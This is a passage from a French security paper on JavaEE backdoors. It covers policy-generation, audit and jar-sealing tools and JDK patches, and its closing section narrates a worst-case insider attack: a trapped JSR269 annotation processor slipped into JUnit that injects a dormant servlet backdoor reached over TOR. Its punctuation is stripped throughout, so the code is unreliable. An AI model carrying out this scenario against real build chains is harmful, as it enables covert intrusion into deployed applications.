Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes
Le fichier de propriete pour Tomcat est le suivant
serverhome=$catalinahome
serverlib=$catalinahome serverlib
webappsbase=file$catalinabase webapps
webappshome=$webappsbase$basename
La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande
$ macaron -policy -P tomcatproperties
-Dbasename=sample
Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication
$ macaron -policy -P tomcatproperties
-Dbasename=$basename
$ export JAVA_OPTS=- Dbasename=sample
$ $TOMCAT_HOMEbincatalinash run -security
Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci
$ macaron -policy --output MonComposantpolicy
-P tomcatproperties MonComposantear
Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)
Privileges separes
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
P Prados 429
ou tous les privileges globalement (parametre --merge )
Privileges globaux
grant
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite
La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple
Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter
Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte
Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation
Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=
ndash httpslocalhost
ndash filedatabasepolicypolicy
ndash policypolicy
Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-
-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise
13 httpmacaron-policygooglecodecom
430 Porte derobee dans les serveurs drsquoapplications JavaEE
Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar
possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme
$ macaron -policy --merge --output securitypolicy
$MACARON_HOMElibpolicy -jar
Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee
$ JAVA_OPT=-Djavasecuritymanager
-Djavasecuritypolicy=securitypolicy
macaron -policy --output -
$MACARON_HOMElibpolicy -jar
Les privileges demandes sont les suivants
grant
permission javautilloggingLoggingPermission control
permission javautilPropertyPermission
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
permission javanetSocketPermission
80 connect resolve
permission javanetSocketPermission
443 connect resolve
permission javalangRuntimePermission
getenvPOLICY_DATABASE
Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy
Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante
$ macaron -policy
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy
P Prados 431
Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run
-security gtaccesslog 2gtamp1
La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses
Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces
-Djavasecuritydebug=access failure permission=javalangRuntimePermission
Ou bien de ne tracer que les privileges necessaires a un composant particulier
-Djavasecuritydebug =
access failure codebase =
file$TOMCAT_HOMEwebappssample
Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug
macaron -policy --accesslog accesslog
Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege
$ macaron -policy
--accesslog accesslog
--policy $CATALINA_HOMEconfcatalinapolicy
$CATALINA_HOMEwebappsMonComposantwar
Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I
$ macaron -policy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
432 Porte derobee dans les serveurs drsquoapplications JavaEE
Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution
Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy
Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant
$ export
JAVA_OPTS=-Djavasecuritydebug=access failure
$ while [ true ] do
echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read
macaron -policy
-P tomcatproperties
--policy $CATALINA_HOMEconfcatalinapolicy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar
echo launch tomcat
$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1
done
Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract
en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi
$ macaron -policy
--loglevel info
--extract
--output mypolicydatabase
--policy $CATALINA_HOMEconfcatalinapolicy
Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum
Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires
P Prados 433
a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication
Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations
$ macaron -policy --help
52 Signature numerique
Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement
grant codebase foocom Signedby foo
Principal comsunsecurityauthSolarisPrincipal duke
permission javasecurityAllPermission
Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant
53 Defense passive
Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons
ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les
memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres
utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges
Un fichier au format XML permet de synthetiser les resultats
$ macaron -audit --output auditxml MonComposantear
$ firefox auditxml
434 Porte derobee dans les serveurs drsquoapplications JavaEE
Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats
Fig 14 Audit
Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs
archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc
ltpackages gt
ltpackage
name=orgaspectjinternallangannotationgt
ltcontext gtaspectjweaver -161 jarltcontext gt
ltcontext gtaspectjrt -160 jarltcontext gt
ltpackage gt
ltpackages gt
Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees
$ macaron -audit --output ignorexml MonComposantear
$ macaron -audit --ignore ignorexml
-output auditxml
MonComposantear
P Prados 435
Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement
ltfilenames gt
ltfilename name=MANIFESTMF gt
ltfilename name=INDEXLIST gt
ltfilename name=packagehtml gt
ltfilenames gt
Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques
Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses
ltdependency gt
ltgroupId gtorgspringframework ltgroupId gt
ltartifactId gtspring -aspects ltartifactId gt
ltversion gt255ltversion gt
ltexclusions gt
ltexclusion gt
ltgroupId gtorgaspectj ltgroupId gt
ltartifactId gtaspectjrt ltartifactId gt
ltexclusion gt
ltexclusions gt
ltdependency gt
Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml
Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2
54 Defense active
Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14
Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)
14 httpjavasuncomdeveloperJDCTechTips2001tt0130html
436 Porte derobee dans les serveurs drsquoapplications JavaEE
Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee
En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle
Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes
Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes
ltbuildgt
ltplugins gt
ltplugin gt
ltartifactId gtmaven -jar -plugin ltartifactId gt
ltconfiguration gt
ltarchive gt
ltmanifestEntries gt
ltSealed gttrueltSealed gt
ltmanifestEntries gt
ltarchive gt
ltconfiguration gt
ltplugin gt
ltplugins gt
ltbuildgt
Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe
Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)
$ macaron -seal --in -place MonComposantear
Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages
Pour plus drsquoinformations invoquez lrsquoaide
$ macaron -seal --help
15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing
P Prados 437
Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local
$ macaron -seal --in -place --sha1 -R m2repository
De meme pour un repository Ivy
$ macaron -seal --in -place -R ivy2cache
Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes
$ macaron -audit --output audit -tomcatxml
-R $CATALINA_HOME
$ macaron -seal --ignore audit -tomcatxml
-R $CATALINA_HOME --in -place
Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe
$ macaron -audit --output - -R $CATALINA_HOME |
macaron -seal --ignore - -R $CATALINA_HOME --in-place
La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges
$ $CATALINA_HOMEbincatalinash run -security
Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables
Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur
$ macaron -seal --audit sealedxml MonComposantwar
$ firefox sealedxml
438 Porte derobee dans les serveurs drsquoapplications JavaEE
55 Reduction du risque des META-INFservices
La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation
Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant
Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface
Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader
if (SystemgetSecurityManager ()=null)
final Permission perm=
new ServicePermission(servicegetName ())
AccessControllerdoPrivileged(
new PrivilegedAction ltObject gt()
public Object run()
if (clazzgetProtectionDomain ()implies(perm))
throw new AccessControlException(
install service denied perm perm)
return null
)
Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin
Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader
De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants
ndash comsunndash orgrelaxingdatatype
ndash sunmisc
P Prados 439
Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees
j2sesrc javautilServiceLoaderjava | 42 +-
j2sesrc javautilServicePermissionjava | 74 ++++
j2sesrc javaxxmlbindContextFinderjava | 66 ---
j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----
j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12
j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----
j2sesrc javaxxmlparsersSAXParserFactoryjava | 17
j2sesrc javaxxmlsoapFactoryFinderjava | 39 --
j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----
j2sesrc javaxxmltransformFactoryFinderjava | 86 ----
j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +
j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--
j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------
j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --
15 files changed 283 insertions (+) 646 deletions(-)
Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet
grant
permission javautilServicePermission
javaxxmlparsersSAXParserFactory
En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ServiceLocator -6jar
Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente
Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat
440 Porte derobee dans les serveurs drsquoapplications JavaEE
56 Reduction du risque des ResourcesBundles
Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles
Fig 15 Nouveau RessourceBundle
La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe
Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang
3Ajava
Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle
$ java -Xbootclasspathppatch -ResourceBundle -5 jar
Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources
static final ResourceBundleControl securityControl =
new ResourceBundleControl ()
private ConcurrentHashMap ltString String gt
cacheType=
new ConcurrentHashMap ltString String gt()
public List ltString gt getFormats(String baseName)
return CollectionsunmodifiableList(
P Prados 441
ArraysasList(securityorder))
public ResourceBundle newBundle(String baseName
Locale locale
String format ClassLoader loader
boolean reload)
throws IllegalAccessException
InstantiationException IOException
ResourceBundle bundle=null
if (formatequals(securityorder))
String lastFormat=cacheTypeget(baseName)
if (lastFormat ==null)
bundle=supernewBundle(baseName locale
javaproperties
loader reload)
if (bundle =null)
cacheTypeput(baseName javaproperties)
else
cacheTypeput(baseName javaclass)
bundle=supernewBundle(baseName locale
javaclass
loader reload)
else
bundle=supernewBundle(baseName locale
lastFormat
loader reload)
return bundle
public boolean needsReload(String baseName
Locale locale
String format
ClassLoader loader
ResourceBundle bundle
long loadTime)
boolean result=
superneedsReload(baseName locale
format loader bundle loadTime)
if (result)
cacheTyperemove(baseName)
return result
Il doit etre utilise a chaque invocation de RessourceBundle
442 Porte derobee dans les serveurs drsquoapplications JavaEE
ResourceBundlegetBundle(Messages securityControl)getString(key)
Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes
Un diffstat indique lrsquoetendu des modifications
ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------
1 file changed 58 insertions (+) 50 deletions(-)
Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ResourceBundle -6 jar
Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties
mv sampleproperties sampleprop
public static class sample extends PropertyResourceBundle
public sample () throws IOException
super(sampleclassgetResourceAsStream(
rsquorsquo+sampleclassgetName ()
replace(rsquorsquorsquorsquo)+prop))
6 Conseils pour se proteger
Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques
Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive
P Prados 443
Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access
Les logs indiquent les privileges accordes mais sont difficiles a interpreter
access access allowed (javalangRuntimePermission accessDeclaredMembers)
access access allowed(javaioFilePermissionwebappsbackdoorjee -sample
WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation
MethodHandlerAdapterBeanInfoclass read)access access denied (javalang
RuntimePermission defineClassInPackagejavalang)
Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir
Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques
Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo
Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration
La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)
Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active
Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en
ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation
16 httpmacaron-policygooglecodecom
444 Porte derobee dans les serveurs drsquoapplications JavaEE
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
Il est preferable drsquoutiliser les patchs proposes
Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite
Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail
7 Scenario du pire
Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible
Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy
Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production
P Prados 445
La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur
Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources
Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet
En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles
Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau
Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement
446 Porte derobee dans les serveurs drsquoapplications JavaEE
